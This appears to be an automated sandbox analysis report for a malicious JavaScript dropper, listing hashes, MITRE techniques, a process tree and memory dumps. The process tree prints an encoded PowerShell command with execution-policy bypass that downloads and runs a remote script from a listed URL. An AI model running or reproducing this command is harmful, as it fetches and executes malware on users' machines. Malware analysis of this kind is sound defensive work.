e632c7853782a7d4251f761a03037ca33e2421b2bec28d4afefb8ae516460c88

Analysis

max time kernel
144s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2023 03:57

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General

Target

½ļ/16.js
Size

32KB
MD5

1b0eaa2c2511d5c5bf2fff542b172a49
SHA1

bce5600d8e4bb7353b67f52a388e56063fd1ae85
SHA256

2d16b8541eb251e09be8589e1d140a14f8392cc055d3b15936edcddad91b5923
SHA512

e2e4ac0468a3637bdcb2598444759856f547624e07a87837ed501199947dbf1435e2fef60f66d182c72159b5a06395cb5d39411b5df9f7c3a55c2c40a8fa7511
SSDEEP

384:IsDLhfkGwaE6EIWNIalL+W9zCdrnQfF+M5WHZX8thvrtVOETBFtXBRo3yhuiUhR0:XMhIzWOzQfFb5q8hfjWouiwRoz2y

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://bikexiner.lotieneconisiore.com/file1.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	824	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3520	powershell.exe
3520	powershell.exe
824	powershell.exe
824	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	824	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 3520	2000	wscript.exe	85
PID 2000 wrote to memory of 3520	2000	wscript.exe	85
PID 3520 wrote to memory of 824	3520	powershell.exe	87
PID 3520 wrote to memory of 824	3520	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\16.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" PowersheLL -eP byPASs -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAawBlAHgAaQBuAGUAcgAuAGwAbwB0AGkAZQBuAGUAYwBvAG4AaQBzAGkAbwByAGUALgBjAG8AbQAvAGYAaQBsAGUAMQAuAHAAcwAxACIAKQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eP byPASs -EnC SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAawBlAHgAaQBuAGUAcgAuAGwAbwB0AGkAZQBuAGUAYwBvAG4AaQBzAGkAbwByAGUALgBjAG8AbQAvAGYAaQBsAGUAMQAuAHAAcwAxACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bp2vvwys.dny.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/824-32-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

Filesize
10.8MB

Download
memory/824-21-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

Filesize
10.8MB

Download
memory/824-26-0x000001FFC4350000-0x000001FFC4360000-memory.dmp

Filesize
64KB

Download
memory/824-27-0x000001FFC4350000-0x000001FFC4360000-memory.dmp

Filesize
64KB

Download
memory/3520-13-0x00000261B2950000-0x00000261B2972000-memory.dmp

Filesize
136KB

Download
memory/3520-14-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

Filesize
10.8MB

Download
memory/3520-15-0x00000261B29D0000-0x00000261B29E0000-memory.dmp

Filesize
64KB

Download
memory/3520-28-0x00000261B29D0000-0x00000261B29E0000-memory.dmp

Filesize
64KB

Download
memory/3520-29-0x00000261B29D0000-0x00000261B29E0000-memory.dmp

Filesize
64KB

Download
memory/3520-1-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

Filesize
10.8MB

Download
memory/3520-3-0x00000261B29D0000-0x00000261B29E0000-memory.dmp

Filesize
64KB

Download
memory/3520-2-0x00000261B29D0000-0x00000261B29E0000-memory.dmp

Filesize
64KB

Download
memory/3520-36-0x00007FFF4CF60000-0x00007FFF4DA21000-memory.dmp

Filesize
10.8MB

Download